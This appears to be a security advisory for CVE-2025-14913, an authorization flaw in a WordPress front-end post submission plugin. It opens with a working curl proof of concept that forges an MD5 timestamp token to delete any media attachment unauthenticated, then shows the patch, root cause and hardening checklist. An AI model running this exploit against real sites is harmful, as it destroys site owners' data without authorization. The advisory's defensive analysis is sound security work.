The Exploit
Unauthenticated attacker only needs media_id and the attachment upload timestamp to delete any attachment.
TARGET=https://TARGET_HOST
MEDIA_ID=123
MEDIA_KEY=$(python3 - <<'PY'
import hashlib
print(hashlib.md5(b"1719600000").hexdigest())
PY
)
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "action=media_delete_action" \
--data-urlencode "media_id=$MEDIA_ID" \
--data-urlencode "media_key=$MEDIA_KEY"
The attacker sees the plugin return a successful AJAX response and the attachment with ID 123 is removed from the WordPress media library.
What the Patch Did
Before:
if ($this->admin_ajax_nonce_verify()) {
$media_id = intval($_POST['media_id']);
$media_key = sanitize_text_field($_POST['media_key']);
$attachment_date = get_the_date("U", $media_id);
$attachment_code = md5($attachment_date);
if ($media_key != $attachment_code) {
$response['status'] = 403;
$response['messsage'] = esc_html__('Unauthorized access', 'frontend-post-submission-manager-lite');
} else {
$media_delete_check = wp_delete_attachment($media_id, true);
After:
if ($this->admin_ajax_nonce_verify() && is_user_logged_in()) {
$media_id = intval($_POST['media_id']);
$current_user_id = get_current_user_id();
$media_author_id = (int) get_post_field('post_author', $media_id);
if (empty($media_author_id)) {
$response['status'] = 403;
$response['message'] = esc_html__('Unauthorized deletion of the media.', 'frontend-post-submission-manager-lite');
die(json_encode($response));
}
if ($media_author_id !== $current_user_id) {
$response['status'] = 403;
$response['message'] = esc_html__('Unauthorized deletion of the media.', 'frontend-post-submission-manager-lite');
die(json_encode($response));
}
$media_delete_check = wp_delete_attachment($media_id, true);
The patch replaces a weak, predictable md5(get_the_date("U", $media_id)) token check with a WordPress ownership check using get_current_user_id() and get_post_field('post_author', $media_id), plus an explicit is_user_logged_in() authentication guard.
Root Cause
This is an improper authorization check (CWE-863): attacker-controlled $_POST['media_id'] and $_POST['media_key'] flow directly into the AJAX handler, where the plugin computes md5(get_the_date("U", $media_id)) and treats it as a secret. That weak token is derived from predictable attachment metadata instead of the current user session, so an attacker can forge media_key for any attachment and reach the sink wp_delete_attachment($media_id, true) without proving ownership.
Why It Works
The load-bearing fix is the ownership comparison if ($media_author_id !== $current_user_id). Without that line, the request would still be able to delete attachments once an attacker supplied any valid media_key. The is_user_logged_in() addition is defense-in-depth: it refuses anonymous requests up front, while empty($media_author_id) ensures the code only proceeds for real attachment posts. The original media_key scheme was never a proper authorization control; only checking the attachment author against the logged-in user closes the gap.
Hardening Checklist
- Add
is_user_logged_in()or equivalent session validation for any delete-style AJAX endpoint that is not meant to be public. - Verify ownership with WordPress APIs such as
get_current_user_id()andget_post_field('post_author', $media_id)before deleting or modifying post attachments. - Prefer
current_user_can('delete_post', $media_id)orcurrent_user_can('edit_post', $media_id)for capability-based authorization rather than application-generated tokens. - Use
wp_verify_nonce()/admin AJAX nonce checks for CSRF protection, but do not rely on them as the only authorization mechanism. - Avoid authorization tokens derived from predictable post metadata like
get_the_date("U", $media_id); authorization should be based on authenticated user identity and resource ownership.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-14913